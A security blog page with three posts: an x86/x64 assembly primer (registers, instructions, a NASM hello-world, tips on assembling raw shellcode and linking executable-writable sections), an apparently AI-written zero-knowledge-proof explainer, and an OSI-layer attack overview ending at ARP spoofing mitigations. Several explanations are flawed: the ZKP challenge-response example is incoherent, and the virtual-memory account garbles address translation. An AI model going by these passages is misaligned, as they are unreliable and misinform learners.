Skip to content

Blog

Understanding Assembly

Assembly language is a low-level programming language that closely corresponds to machine code, using mnemonics to represent CPU instructions. It provides direct control over hardware and memory, making it essential for tasks requiring granular analysis and manipulation. Assembly language is foundational for cybersecurity because it enables deep introspection and manipulation of software behavior. Mastery of assembly equips professionals to reverse engineer binaries, dissect malware, and develop exploits, bridging the gap between high-level abstractions and hardware-level execution. This low-level expertise is crucial for both defending systems and understanding adversary tactics.

x86

CISC (Complex Instruction Set Computer)

Here is a really good explanation of registers, instructions, stack and calling conventions:

https://www.cs.virginia.edu/~evans/cs216/guides/x86.html https://www.eecg.utoronto.ca/~amza/www.mindsec.com/files/x86regs.html https://sonictk.github.io/asm_tutorial/ https://github.com/sonictk/asm_tutorial/tree/master

images/1022-1.png

CPU instructions to memory: MOV, PUSH, POP, LEA CPU instructions to I/O Devices: IN, INS, INB, OUT, OUTS, OUTB https://redirect.cs.umbc.edu/~cpatel2/links/310/slides/chap11_lect08_IO1.pdf

Registers:

General registers EAX EBX ECX EDX

Segment registers CS DS ES FS GS SS

Index and pointers ESI EDI EBP EIP ESP

Indicator EFLAGS

images/1022-2.png

General registers

As the title says, general register are the one we use most of the time Most of the instructions perform on these registers. They all can be broken down into 16 and 8 bit registers.

32 bits : EAX EBX ECX EDX

16 bits : AX BX CX DX

8 bits : AH AL BH BL CH CL DH DL

The "H" and "L" suffix on the 8 bit registers stand for high byte and low byte. With this out of the way, let's see their individual main use

EAX,AX,AH,AL : Called the Accumulator register.

          It is used for I/O port access, arithmetic, interrupt calls,

          etc...

EBX,BX,BH,BL : Called the Base register

          It is used as a base pointer for memory access

          Gets some interrupt return values

ECX,CX,CH,CL : Called the Counter register

          It is used as a loop counter and for shifts

          Gets some interrupt values

EDX,DX,DH,DL : Called the Data register

          It is used for I/O port access, arithmetic, some interrupt

          calls.

Indexes and pointers

Indexes and pointer and the offset part of and address. They have various uses but each register has a specific function. They some time used with a segment register to point to far address (in a 1Mb range). The register with an "E" prefix can only be used in protected mode.

ES:EDI EDI DI : Destination index register

           Used for string, memory array copying and setting and

           for far pointer addressing with ES

DS:ESI EDI SI : Source index register

           Used for string and memory array copying

SS:EBP EBP BP : Stack Base pointer register

           Holds the base address of the stack

SS:ESP ESP SP : Stack pointer register

           Holds the top address of the stack

CS:EIP EIP IP : Instruction Pointer

           Holds the offset of the next instruction

           It can only be read

Instructions

Arithmetics instructions: ADD, SUB, INC, DEC, IMUL, IDIV, AND, OR, XOR, NOT, NEG, SHL and SHR

They can be easy to explain from a Logic Door and Electronic circuit perspective.

  • MOV: moves between registers, memory and constants indifferently.
  • PUSH: adds the register passed as argument to the top of the stack and decrement stack pointer (enlarge stack)
  • POP: gets the value on the top of the stack and puts it in the register passed as paramter, it increments the stack pointer (shorten stack)
  • LEA: Load Effective Address, given a certain pointer it can get the actual address of the pointer, for example the top of the stack (RSP)
  • LEA QWORD rax, [rsp]: saves address pointing to the top of the stack (not the value at the top of stack) into register A.

Branching:

  • JMP: Jumps to the address passed by argument, it means that RIP now points to that address, unconditionally.
  • CALL: is the same as JMP, it additionally (before the JMP) saves the current RIP into the top of the stack.
  • INT: an interruption is the same as CALL, but you will jump to a direction that you don't know of in the interruption table (BIOS) you pass the index of that table as an argument. More on this here
  • INT 0x80 is used for system calls, it would be similar than the modern and faster SYSCALL instruction.
  • RET: contrarily to CALL, RET will pop the direction to jump from the top of the stack, so after the subroutine is finished you need to clean the stack to have return direction that CALL instruction pushed.
  • CMP: Compare the values of the two specified operands, setting the condition codes in the machine status word appropriately. It will put a 0 or a 1 in the EFLAGS register bit for this matter. After this instruction the conditional JMP instruction will check this EFLAGS bit and do their thing, namely:
  • JE: jump when equal
  • JNE: jump when not equal
  • JZ: jump when last result was zero
  • JG: jump when greater than
  • JGE: jump when greater than or equal to
  • JL: jump when less than
  • JLE: jump when less than or equal to

Additional Mnemonics:

  • LEAVE: is used as subroutine suffix to return stack pointer to base pointer (cleaning the stack) just before RET instruction.
  • PUSHA and POPA: is the same as PUSH and POP, but putting and getting all the general purpose registers into and from the stack, instead of just the one passed by argument.
  • LOOP: its a conditional jump to make loops with RCX as a counter to 0.

Memory Layout

images/1022-3.png

Other program segments

You may have noticed in the the diagram above that in addition to the stack and heap, there are separate, distinct regions of memory in the program's address space that I drew, namely the bss, data and text segments. If you recall the Hello, world section example, you might also have realized that there are labels in that example that line up with the names of these program segments.

Well, that's no coincidence; it turns out that is what is being defined in those regions, and these regions exist as a result of the PE executable file format, which is a standardized format that Microsoft dictates for how executable's memory segments should be arranged in order for the operating system's loader to be able to load it into memory.

Crossing the platforms

On Linux/OS X, the executable file format is known as the Executable and Linkable Format, or ELF. While there are differences between it and the PE file format used by Windows, the segments we'll be dealing with here exist on both, and function the same way on both. On a fun note, Fabian Giesen has an amusing tweet regarding the name.

Let's go over what each of the major segments are for.

  • Block Started by Symbol (BSS): This segment of memory is meant for variables that are uninitialzed (e.g. int a;). The name, as is the case with many things in assembly, has a very long history.
  • Data segment: This segment of memory contains constants or initialized data (e.g. int a \= 5; or const int a \= 5;). This is fairly straightfoward.
  • Text segment, also known as the code segment: This contains the actual assembly instructions, hence the name.

Virtual Memory Address System

If you've never heard of the term virtual memory before, this section is for you. Basically, every time you've stepped into a debugger and seen a hexadecimal address for your pointers, your stack variables, or even your program itself, this has all been a lie; the addresses you see there are not the actual addresses that the memory resides at.

What actually happens here is that every time a user-mode application asks for an allocation of memory by the operating system, whether from calling HeapAlloc, reserving it on the stack through int a[5] or even doing it in assembly, the operating system does a translation from a physical address of a real, physical addressable location on the hardware to a virtual address, which it then provides you with to perform your operations as you deem fit. Processes are mapped into a virtual address space, and memory is reserved by the operating system for that space, but only in virtual memory; the physical hardware could still have memory unmapped to that address space until the user-mode process actually requests an allocation.

If the memory is already reserved and available for use, the CPU translates the physical addresses into virtual addresses and hands them back to the user-mode process for use. If the physical memory is not available yet (i.e. perhaps because the CPU caches are full and we now need to use the DDR RAM sticks' storage instead), the OS will page in memory from whatever available physical memory is available, whether that be DDR RAM, the hard drive, etc.

The translation of the physical memory addresses of the hardware to virtual memory addresses that the operating system can distribute to applications is done using a special piece of hardware known as the Memory Management Unit, or MMU. As you might expect, if every single time a program requested memory required a corresponding translation operation, this might prove costly. Hence, there is another specialized piece of hardware known as the Translation Look-aside Buffer, or TLB cache. That also sits on the CPU and caches the result of previous addresses translations, which it then hands to the operating system, which in turn hands it to the application requesting the allocation.

images/1022-4.png

Calling Conventions

images/1022-5.png

images/1022-6.png

EFLAGS register

images/1022-7.png

x64

Basically the same but registers start with R instead of with E: RAX, RBX, RSP, RIP,...

In RFLAGS we basically use the same as EFLAGS because 32-63 bits are reserved.

Calling Convention

Recall that some calling conventions require parameters to be passed on the stack on x86. On x64, most calling conventions pass parameters through registers. For example, on Windows x64, there is only one calling convention and the first four parameters are passed through RCX, RDX, R8, and R9; the remaining are pushed on the stack from right to left. On Linux, the first six parameters are passed on RDI, RSI, RDX, RCX, R8, and R9.

ntdll.dll:

*************************************************************

* FUNCTION

*************************************************************

int __fastcall NtAllocateVirtualMemory (int pHandle , voi

assume GS_OFFSET \= 0xff00000000

int EAX:4 \<RETURN>

int ECX:4 pHandle

void * RDX:8 allocAddr

int R8D:4 some

void * R9:8 allocSize

int Stack[0x28]:4 mem

int Stack[0x30]:4 page

Bits, bytes and sizes

At this point, it's also probably a good idea to give a quick refresher for the non-Win32 API programmers out there who might not be as familiar with the nomenclature of the Windows data types.

Bit: 0 or 1. The smallest addressable form of memory.

Nibble: 4 bits.

Byte: 8 bits. In C/C++, you might be familiar with the term char.

WORD: On the x64 architecture, the word size is 16 bits. In C/C++, you might be more familiar with the term short.

DWORD: Short for “double word”, this means 2 × 16 bit words, which means 32 bits. In C/C++, you might be more familiar with the term int.

QWORD: quad word, this is for 64 bits. NASM syntax as well.

oword: Short for “octa-word” this means 8 × 16 bit words, which totals 128 bits. This term is used in NASM syntax.

yword: Also used only in NASM syntax, this refers to 256 bits in terms of size (i.e. the size of ymm register.)

float: This means 32 bits for a single-precision floating point under the IEEE 754 standards.

double: This means 64 bits for a double-precision floating point under the IEEE 754 standard. This is also referred to as a quad word.

Pointers: On the x64 ISA, pointers are all 64-bit addresses.

Ring 0

There are certain instructions that will only work with Ring 0 intel privilege level.

  1. HLT (Halt)
  2. MOV to/from Control Registers (CR0, CR4)
  3. IN/OUT (Input/Output)
  4. CLI/STI
  5. LGDT/LDT (Load Global/Local Descriptor Table)
  6. SMI (System Management Interrupt)

Hello world in ASM

https://neetx.github.io/posts/windows-asm-hello-world/

test.asm

; wsl nasm -f win64 test.asm
; link test.obj /defaultlib:Kernel32.lib /subsystem:console /entry:main /LARGEADDRESSAWARE:NO /out:test.exe
global main
; kernel32 functions to use in printcustom
extern GetStdHandle
extern WriteFile

section .text
printcustom:
    push    rbp
    mov     rbp, rsp                
    sub     rsp, 40                 ; shadow space added to stack section
    ; this would be optional in case of stack variables
    ; but it is mandatory for Windows x64 calling convention when you call more than 4 arguments

    mov     r8, [rdx]               ; store 2nd argument into 3rd argument to WriteFile
    mov     rdx, rcx                ; store 1st argument into 2nd argument to WriteFile

    mov     rcx, 0fffffff5h
    call    GetStdHandle

    mov     rcx, rax                ; 1st argument StdOut Handle
    mov     r9, BytesWritten        ; 4th argument bytes written
    mov     dword [rsp + 32], 00h   ; 5th argumnet using shadow space
    call    WriteFile

    ;add     rsp, 40                 ; clear shadow space
    ;mov     rsp, rbp                ; restores base pointer into stack pointer
    leave                           ; with leave we can achieve both previous instructions
    ret                             ; pop the stack (to find previous rip in main) and puts it in rip
main:
    mov     rcx, Buffer
    mov     rdx, BytesToWrite
    call    printcustom             ; call pushes rip into the stack and sets location as current rip
    mov     rcx, newline
    mov     rdx, newlineBytes
    call    printcustom
    mov     rcx, Buffer2
    mov     rdx, BytesToWrite2
    call    printcustom
ExitProgram:
    xor     eax, eax
    ret

section .data
Buffer:        db    'Hello, World!', 00h
BytesToWrite:  dq    0eh
Buffer2:       db    0x40,0x41,0x42,0x00         ; msfvenom -f powershell
BytesToWrite2: dq    4h
newline:       db    0ah
newlineBytes:  dq    1h

section .bss
BytesWritten: resd  01h

Assembly tool

When assembling with NASM, the -f win64 option plays a crucial role in how the output file is structured. Here's a breakdown of what happens:

Binary Format (-f bin)

  • In binary format (-f bin), NASM generates a simple object file containing only the raw machine code instructions you wrote in your assembly code file (.asm).
  • This format lacks information about sections, headers, or symbols needed for linking and creating an executable file.
  • It's often used for specific purposes like embedding raw machine code into another program or for learning the low-level instruction encoding.

Win64 Format (-f win64)

  • When you use -f win64, NASM assembles the code for the 64-bit Windows platform (x86-64) and creates an object file in the Portable Executable (PE) format.
  • This format is much richer than the binary format and includes several crucial elements:
  • Sections: Your assembly code is organized into different sections (like .text for code, .data for data) based on their purpose.
  • Headers: The PE file contains headers that provide information about the file organization, entry point, dependencies, etc.
  • Symbols: NASM can optionally include symbol information for functions and variables defined in your code, which is helpful for debugging and linking.
  • This PE format object file can then be linked with other object files and libraries to create a final executable file (.exe) or a Dynamic-Link Library (DLL) on Windows.

Key Points:

-f bin provides a very basic object file with just raw instructions.

-f win64 creates a PE format object file suitable for linking and generating Windows executables or DLLs.

While -f win64 generates sections, it still doesn't include the .idata section at this stage because import information is determined during linking.

Import Information and .idata in ELF:

  • Just like with -f win64, using -f elf64 during assembly won't create the .idata section yet.
  • The ELF format also has a mechanism for handling external library dependencies, but it uses a different structure compared to PE.
  • In ELF, the linker is responsible for generating the import information and its corresponding sections based on the program's dependencies on shared libraries. These sections might include names like .got (Global Offset Table) and .plt (Procedure Linkage Table) which play a similar role to the IAT in PE format.

Examples:

Assembling into shellcode:

nasm test.asm (does not work with external names, file has to specify BITS 32 or BITS 64)

This can be useful for study, get opcodes and dissassemble bytes:

ndisasm -b 64 test (-b flag depends on the BITS 64 instruction of the assembly code)

Assembling into obj (with PE headers):

C:\Users\nobody\Desktop\assembly>nasm -f win64 test.asm

Linking (setting up IAT in the .idata section):

C:\Users\nobody\Desktop\assembly>link test.obj "C:\Program Files (x86)\Windows Kits\10\lib\10.0.18362.0\um\x64\kernel32.lib" /subsystem:console /entry:main /LARGEADDRESSAWARE:NO /out:test.exe

also: link test.obj /defaultlib:Kernel32.lib /subsystem:console /entry:main /LARGEADDRESSAWARE:NO /out:test.exe

you can also link and provide permissions to specific sections (in addition to other flags, as well)

link test.obj /entry:main /section:.custom,RWE /out:main.exe

https://academy.hackthebox.com/module/227/section/2493

Tools:

link is included into VS C/C++ toolchain

[nasm] (https://nasm.us) or using wsl, linux or macOS

Linux

In linux you can link with ld command in the binutils package

# Assemble the .asm file to an object file

nasm -f elf64 test.asm -o test.o

# Link the object file to create executable

ld test.o -o main

# Assemble 32bit

nasm -f elf32 test.asm -o test.o

# Link

ld -m elf_i386 test.o -o main

full link:

ld test.o -o main --entry=main --section-flags .custom=alloc,write,execute

???

Understanding Zero-Knowledge Proofs: A Comprehensive Exploration

Zero-knowledge proofs (ZKPs) represent one of the most fascinating and powerful concepts in modern cryptography. Building upon your existing knowledge of hash functions and Merkle trees, this report delves into the intricate world of ZKPs, exploring how they enable one party to prove knowledge of a specific piece of information without revealing what that information actually is. This cryptographic breakthrough allows for verification without disclosure, creating new possibilities for privacy-preserving systems in our increasingly digital world.

The Fundamental Concept of Zero-Knowledge Proofs

Zero-knowledge proofs, first conceived in 1985 by Shafi Goldwasser, Silvio Micali, and Charles Rackoff, provide a method for one party (the prover) to convince another party (the verifier) that a statement is true without revealing any additional information beyond the validity of the statement itself. This seemingly paradoxical capability addresses a fundamental question: how can you prove you know something without showing what that something is?

The core innovation of ZKPs lies in their ability to separate the verification of knowledge from the disclosure of that knowledge. Traditional authentication methods typically require revealing sensitive information—like a password—to verify identity. ZKPs, however, enable verification without requiring this disclosure, fundamentally transforming our approach to authentication, identity verification, and privacy-preserving computations. This separation becomes especially powerful when combined with your existing understanding of cryptographic primitives like hash functions and data structures like Merkle trees.

In their original paper, Goldwasser, Micali, and Rackoff described this revelation as "surprising" because it showed that "adding interaction to the proving process may decrease the amount of knowledge that must be communicated in order to prove a theorem". This insight opened up entirely new avenues in cryptographic research and application development that continue to expand today.

ZKProofs

Essential Properties of Zero-Knowledge Proofs

For a protocol to qualify as a zero-knowledge proof, it must satisfy three critical properties that ensure its security, reliability, and privacy guarantees:

Completeness ensures that if the statement being proven is true and both parties follow the protocol honestly, the verifier will be convinced of the truth. This property guarantees that valid proofs are always accepted by an honest verifier, ensuring the system's functional reliability. Without completeness, a legitimate prover with valid knowledge might fail to convince the verifier, rendering the system unusable.

Soundness mandates that no dishonest prover can convince an honest verifier that a false statement is true, except with negligible probability. This property protects against fraud and ensures that the verification process maintains its integrity. The soundness property usually allows for a small probability of error, known as the "soundness error," making ZKPs probabilistic rather than deterministic proofs. However, this error can be made negligibly small through protocol design.

The zero-knowledge property, the most distinctive aspect of ZKPs, ensures that the verifier learns nothing beyond the validity of the statement being proved. This means that the verification process reveals no additional information about the prover's secret knowledge. Mathematically, this is formalized by demonstrating that every verifier has some simulator that, given only the statement to be proved (without access to the prover), can produce a transcript indistinguishable from an actual interaction between the prover and verifier.

Together, these three properties create a framework that enables secure verification without compromising sensitive information, forming the foundation upon which all zero-knowledge protocols are built.

Illustrative Examples: Conceptualizing Zero-Knowledge

To grasp the concept of zero-knowledge proofs more intuitively, several analogies have become standard in explaining how one can prove knowledge without revealing it.

The "Where's Waldo" Analogy

One of the most accessible ways to understand zero-knowledge proofs is through the "Where's Waldo" analogy. Imagine you've found Waldo in a busy illustration and want to prove this to someone without revealing his exact location. You take a large piece of cardboard with a small Waldo-sized hole cut in it, place it over the image so that only Waldo is visible through the hole, and show it to the verifier. The verifier now knows you've found Waldo without learning where in the image he's located.

This example demonstrates the zero-knowledge property elegantly: you've proven your knowledge (finding Waldo) without revealing the information itself (Waldo's location). The completeness property is satisfied because an honest prover who has found Waldo can always demonstrate this fact. The soundness property is maintained because if you haven't actually found Waldo, you cannot successfully position the cardboard to show him through the hole.

As noted in the search results, this analogy isn't perfect—it does reveal some information about Waldo's appearance—but it effectively illustrates the core concept of proving knowledge without full disclosure.

The Blockchain Address Ownership Example

Moving to a more technical example, consider how zero-knowledge proofs can verify blockchain address ownership. Alice wants to prove to Bob that she owns a particular blockchain address without revealing her private key. Bob can encrypt a message with Alice's public key, which only Alice can decrypt using her private key. Alice then returns the decrypted message to Bob.

If Alice successfully decrypts the message, Bob can be confident that she owns the private key associated with the public address. The completeness property is satisfied because Alice, knowing her private key, can always decrypt messages encrypted with her corresponding public key. The soundness property holds because without the private key, an impostor cannot decrypt the message. Most importantly, the zero-knowledge property is maintained because Alice never reveals her private key during this exchange, only demonstrating her ability to use it.

This process can be repeated with different messages to reduce the probability of lucky guesses to negligible levels, strengthening the soundness of the proof. This example demonstrates how zero-knowledge proofs leverage asymmetric cryptography in practical applications while maintaining privacy.

Mathematical Foundations and Formal Definition

Zero-knowledge proofs are rigorously defined within computational complexity theory, using the language of interactive Turing machines to establish their properties and security guarantees.

Formal Definition Framework

A formal definition of zero-knowledge uses computational models, most commonly Turing machines. Let P, V, and S be Turing machines representing the prover, verifier, and simulator respectively. An interactive proof system with (P, V) for a language L is zero-knowledge if for any probabilistic polynomial time (PPT) verifier $$\hat{V}$$ there exists a PPT simulator S such that:

$$\forall x\in L, z \in {0,1}^{*}, \operatorname{View}_{\hat{V}}[P(x) \leftrightarrow \hat{V}(x,z)] = S(x,z)$$

where View~$$\hat{V}$$~[P(x)↔$$\hat{V}$$(x,z)] represents a record of the interactions between P(x) and V(x,z). The auxiliary string z represents prior knowledge, including the random coins of $$\hat{V}$$.

This definition formalizes the intuition that the verifier gains no additional knowledge from the interaction with the prover beyond what could be simulated without such interaction. In other words, anything the verifier could learn from the interaction, they could have computed themselves without the prover's involvement, meaning no actual knowledge is transferred during the verification process.

The Challenge-Response Mechanism

The security of many zero-knowledge protocols relies on a challenge-response mechanism. The verifier issues a random challenge to the prover, who must then provide an appropriate response based on their secret knowledge. This challenge value introduces randomness that prevents the prover from using pre-computed responses.

For example, consider a simple mathematical scenario where Alice wants to prove she knows a secret value x for the function f(x) = x²+1. Bob issues a challenge value c=3. If Alice knows the secret (let's say x=2), she computes r=f(x)=5 and sends this to Bob. Bob then verifies whether r matches f(c)=c²+1=10. Since 5≠10, Bob knows Alice's claim is false.

This challenge-response approach is at the heart of many interactive zero-knowledge protocols, ensuring that provers must actually possess the claimed knowledge rather than simply replaying predetermined responses.

Building Upon Hash Functions and Merkle Trees

Given your familiarity with hash functions and Merkle trees, it's important to understand how zero-knowledge proofs build upon and extend these cryptographic primitives.

Leveraging Hash Functions in ZKPs

Hash functions play a central role in many zero-knowledge proof systems. Their one-way nature makes them ideal for committing to values without revealing them. For example, a prover can demonstrate knowledge of a preimage r for a hash H(r) without revealing r itself.

In a simple scenario, if both parties agree on a hash function like SHA-256, the prover can construct a proof that they know an input r such that SHA-256(r) equals a specific output hash, without revealing what r is. This allows for verification of knowledge without disclosure of the sensitive information itself.

The security of such proofs relies on the collision resistance and preimage resistance properties of cryptographic hash functions—properties you're already familiar with—making them natural building blocks for zero-knowledge systems.

Merkle Trees and Zero-Knowledge Proofs

Your understanding of Merkle trees provides an excellent foundation for grasping more complex zero-knowledge applications. Merkle trees are fundamental data structures in many ZKP systems, enabling efficient proofs of membership and other properties.

In identity systems, for example, Merkle trees can store user claims while allowing selective disclosure through zero-knowledge proofs. A user can prove they possess a valid claim that exists within a Merkle tree (whose root hash might be publicly available) without revealing which specific claim they're proving or any other claims in the tree.

By combining Merkle proofs with zero-knowledge techniques, systems can verify that certain data exists within a cryptographically secured structure without exposing the data itself. This creates powerful privacy-preserving verification mechanisms that build directly upon the Merkle tree concept.

Combining zkSNARKs with Merkle Proofs

The marriage of zkSNARKs (Zero-Knowledge Succinct Non-Interactive Arguments of Knowledge) with Merkle proofs creates particularly powerful verification systems. These combined techniques allow for non-disclosing membership proofs with strong privacy guarantees.

For instance, a user could prove they are on an allowlist (represented as a Merkle tree) without revealing their identity or position within that list. The zkSNARK component ensures this proof remains zero-knowledge, while the Merkle proof aspect provides efficient verification.

This combination leverages your existing knowledge of Merkle trees while extending their capabilities through zero-knowledge techniques, enabling applications that would be impossible with Merkle trees alone.

Types of Zero-Knowledge Proofs

Zero-knowledge proofs come in various forms, each with distinct characteristics and applications. Understanding these varieties helps in selecting the appropriate approach for specific use cases.

Interactive vs. Non-Interactive Proofs

Early zero-knowledge proofs were interactive, requiring multiple rounds of communication between prover and verifier. In these systems, the verifier issues challenges to which the prover must respond correctly. This interaction helps establish the verifier's confidence in the proof through repeated testing.

However, for many applications, interactivity is impractical. Non-interactive zero-knowledge proofs (NIZKs) solve this by allowing the prover to generate a single proof that anyone can verify without further interaction. NIZKs typically use a common reference string or some other setup mechanism to enable this non-interactivity, making them more suitable for blockchain and other distributed applications where direct interaction may be impractical.

zk-SNARKs: Succinct Non-Interactive Arguments of Knowledge

zk-SNARKs have gained significant attention, particularly in blockchain applications, for their combination of zero-knowledge with succinctness. The "succinct" property means that proofs are small in size and quick to verify, making them practical for resource-constrained environments.

A key characteristic of zk-SNARKs is their reliance on a trusted setup phase. This initial ceremony generates parameters that must be properly destroyed afterward to ensure the system's security. If these parameters are compromised, someone could potentially create false proofs without actually possessing the knowledge being proven.

Despite this setup requirement, zk-SNARKs' efficiency has made them popular in privacy-focused cryptocurrencies and other applications where compact proofs are valuable.

zk-STARKs and Other Variants

Zero-Knowledge Scalable Transparent Arguments of Knowledge (zk-STARKs) represent another important variant that addresses some limitations of zk-SNARKs. STARKs eliminate the need for a trusted setup, making them "transparent." They also offer protection against quantum computing attacks, unlike SNARKs which rely on elliptic curve cryptography.

The trade-off is that STARK proofs are typically larger than SNARK proofs, making them less suitable for highly constrained environments. However, their post-quantum security properties and transparency make them attractive for many applications.

Other variants include Bulletproofs (which also avoid trusted setups while achieving relatively compact proofs) and various specialized constructions optimized for specific applications, each offering different trade-offs in terms of proof size, verification time, setup requirements, and security assumptions.

Applications of Zero-Knowledge Proofs

The unique properties of zero-knowledge proofs enable numerous applications that require verification without compromising privacy.

Identity Systems with Privacy Preservation

Identity systems represent a natural application for zero-knowledge proofs. Traditional identity verification often requires revealing more information than necessary—showing your entire driver's license to prove you're of legal drinking age, for example.

Zero-knowledge proofs allow for selective disclosure, where users can prove specific attributes about their identity without revealing unnecessary details. For instance, using ZKPs, a person could prove they are over 21 without revealing their exact birthdate or any other information on their ID.

These systems typically leverage Merkle trees to store claims about users, with ZKPs enabling users to prove possession of specific claims without revealing which claim they're proving. This architecture supports privacy-preserving identity verification at scale.

Private Transactions and Confidential Computing

Financial privacy represents another critical application area. Zero-knowledge proofs enable transactions where the sender, receiver, and amount remain confidential while still ensuring the transaction's validity.

For example, a user could prove they have sufficient funds for a transaction without revealing their account balance. Similarly, in confidential computing scenarios, organizations can prove computations were performed correctly on sensitive data without exposing the data itself, enabling secure multi-party computation while preserving data privacy.

Authentication Without Password Exposure

Zero-knowledge proofs transform authentication by eliminating the need to transmit or store sensitive credentials. Rather than sending a password to a server for verification, a user can prove knowledge of the password without ever transmitting it.

This approach eliminates the risk of password theft during transmission and reduces the impact of server-side data breaches, as servers never need to store the actual authentication secrets. The challenge-response mechanisms inherent in many ZKP systems naturally support this authentication model.

Regulatory Compliance with Privacy

Zero-knowledge proofs offer a compelling solution to the tension between regulatory compliance and privacy. Organizations can prove compliance with regulatory requirements without exposing sensitive underlying data.

For instance, a financial institution could prove that all its transactions comply with anti-money laundering rules without revealing the specific transactions or customer details. This capability enables regulatory oversight while maintaining confidentiality for both the institution and its customers.

Implementation Considerations and Challenges

While zero-knowledge proofs offer powerful capabilities, implementing them effectively requires addressing several practical considerations and challenges.

Computational Complexity and Performance

A significant challenge in deploying zero-knowledge proofs is their computational intensity. Generating proofs often requires substantial computational resources, making them potentially impractical for resource-constrained environments or real-time applications.

Recent advances have significantly improved performance, but ZKPs remain more computationally demanding than simpler cryptographic techniques. Implementation decisions must carefully balance security needs against performance requirements, particularly in consumer-facing applications where user experience concerns are paramount.

Security Considerations and Trust Models

Zero-knowledge proof systems vary in their security assumptions and trust requirements. Some require trusted setups, where compromise could undermine the entire system, while others have different security trade-offs.

Implementing ZKPs securely requires careful consideration of the specific security properties needed for a given application and selection of the appropriate ZKP variant. Additionally, the surrounding system architecture must be designed to avoid undermining the ZKP's security guarantees through side-channel attacks or implementation flaws.

Standardization and Interoperability Challenges

The relative novelty of practical zero-knowledge proof systems means standardization remains incomplete. Different implementations may use incompatible approaches, limiting interoperability between systems.

As the technology matures, standardization efforts are emerging, but implementers currently face choices between established but potentially limiting standards and newer, more capable approaches that may lack broad adoption. This tension requires careful navigation based on specific project requirements and risk tolerance.

Conclusion: The Evolving Landscape of Zero-Knowledge Proofs

Zero-knowledge proofs represent a profound advancement in cryptography, enabling verification without disclosure in ways that were once thought impossible. Building on your existing knowledge of hash functions and Merkle trees, ZKPs extend these foundational cryptographic primitives to create powerful new capabilities for privacy-preserving systems.

The field continues to evolve rapidly, with new constructions offering improved efficiency, security properties, and application possibilities. As computational techniques advance and implementation experience grows, we can expect zero-knowledge proofs to become increasingly practical for mainstream applications, potentially transforming how we approach authentication, privacy, and verification across digital systems.

Understanding the principles, varieties, and applications of zero-knowledge proofs provides a foundation for leveraging these powerful techniques in building the next generation of privacy-preserving systems. The potential of ZKPs to reconcile the seemingly contradictory goals of verification and privacy makes them one of the most promising technologies for addressing the growing privacy challenges of our digital world.

Network Security: Attacks and Mitigations Across the OSI Model Layers

The Open Systems Interconnection (OSI) model provides a conceptual framework essential for understanding how network attacks target different aspects of communication systems. This seven-layer model serves as both a foundation for implementing network protocols and a structure for analyzing security vulnerabilities that exist at each level. Understanding these layers and their associated attack vectors enables security professionals to implement comprehensive protection strategies that safeguard networks against increasingly sophisticated threats. Network security requires attention to each layer of the OSI model, as attackers continuously develop methods to exploit vulnerabilities throughout the entire communication stack.

OSI Model Layers

The OSI Model Structure and Importance

The OSI model, developed and recognized by the International Organization for Standardization in the 1980s, provides a standardized way of telecommunication between computer nodes regardless of their hardware and software architectures. This conceptual framework divides network communications into seven distinct layers, each handling specific functions in the data transmission process. The model enables systematic troubleshooting, standardized component development, and most importantly for security purposes, a structured approach to identifying vulnerabilities. Understanding this layered approach is crucial because security compromises can occur at any level, from physical infrastructure to application interfaces, requiring different mitigation strategies for each layer. The comprehensive nature of the OSI model allows security professionals to implement defense-in-depth strategies that address vulnerabilities at multiple levels simultaneously, significantly enhancing overall network security posture.

OSI Model and Attacks

Physical Layer (Layer 1) Attacks and Mitigations

The physical layer, the first and most tangible layer of the OSI model, concerns itself with the transmission and reception of unstructured raw bit streams over physical media. This layer includes hardware components such as cables, connectors, repeaters, network adapters, and the physical specifications that govern them. At this foundational level, attackers focus on gaining unauthorized physical access to network infrastructure, potentially compromising the entire communication system before data even begins its journey through higher layers.

Physical Layer Attack Vectors

The most common attacks at the physical layer involve interception and eavesdropping, where malicious actors gain physical access to network infrastructure to tap cables or use electromagnetic signals to capture data. This passive attack method allows attackers to collect sensitive information without altering communications, making detection particularly challenging. Another prevalent attack involves intentional physical damage to cables, devices, or other network hardware, causing service disruptions that can lead to significant operational downtime and potentially create opportunities for further exploitation during recovery efforts. Unauthorized access to network facilities represents another serious threat, as attackers who gain physical entry to server rooms or wiring closets can install rogue devices, create backdoors, or directly compromise network equipment.

Physical Layer Security Measures

To mitigate physical layer attacks, organizations must implement robust physical security controls that restrict access to network infrastructure. These measures include secure facilities with proper access controls, such as electronically monitored entry points, security cameras, and personnel authentication systems. Network cables should be protected within conduits or secure pathways, with server equipment housed in locked cabinets or dedicated rooms accessible only to authorized personnel. Regular physical inspections of network infrastructure help identify unauthorized devices or tampering attempts before they can cause significant damage. Additionally, implementing tamper-evident seals on network equipment cabinets and junction boxes provides visual indication of unauthorized access attempts, enhancing physical security monitoring capabilities.

The data link layer provides node-to-node data transfer between directly connected devices and handles error correction from the physical layer. This layer encompasses protocols like Ethernet for local area networks and Point-to-Point Protocol (PPP) for direct connections. The data link layer plays a crucial role in network security as it manages MAC addresses and establishes the foundation for local network communications, making it an attractive target for attackers seeking to gain initial network access.

ARP Spoofing and MAC Attacks

Address Resolution Protocol (ARP) spoofing, also known as ARP poisoning, represents one of the most common attacks at this layer. In these attacks, hackers manipulate the mapping between IP addresses and MAC addresses on a local area network, tricking one device into sending messages to the attacker instead of the intended recipient. This manipulation allows the attacker to intercept data, including sensitive information such as passwords and credit card details. ARP spoofing occurs on local area networks using the Address Resolution Protocol, which connects dynamic IP addresses to physical machine addresses (MAC addresses). When a host wants to communicate with another on the same network, it sends an ARP request and receives a response containing the MAC address of the destination host, which it then stores in its ARP cache for future reference.

MAC spoofing represents another significant threat at the data link layer, where attackers alter their device's MAC address to impersonate another network device. This technique allows malicious actors to bypass MAC address filtering systems and gain unauthorized access to restricted networks. Similarly, VLAN hopping attacks exploit vulnerabilities in VLAN tag handling, enabling attackers to gain unauthorized access to traffic from other VLANs that would normally remain isolated from their network segment. These attacks can lead to serious security breaches as they circumvent fundamental network segmentation controls designed to contain sensitive communications.

Organizations can protect against ARP spoofing through several effective measures. Implementing packet-filtering firewalls represents a straightforward approach, as these systems flag data packets from outside the network that claim to originate from inside, helping detect spoofing attempts. Dynamic ARP inspection on network switches validates ARP packets by comparing them against a trusted database of MAC-IP bindings, preventing the use of falsified ARP messages. DHCP snooping works in conjunction with dynamic ARP inspection to build and maintain the database of valid MAC-IP bindings, creating a more robust defense against ARP-based attacks.

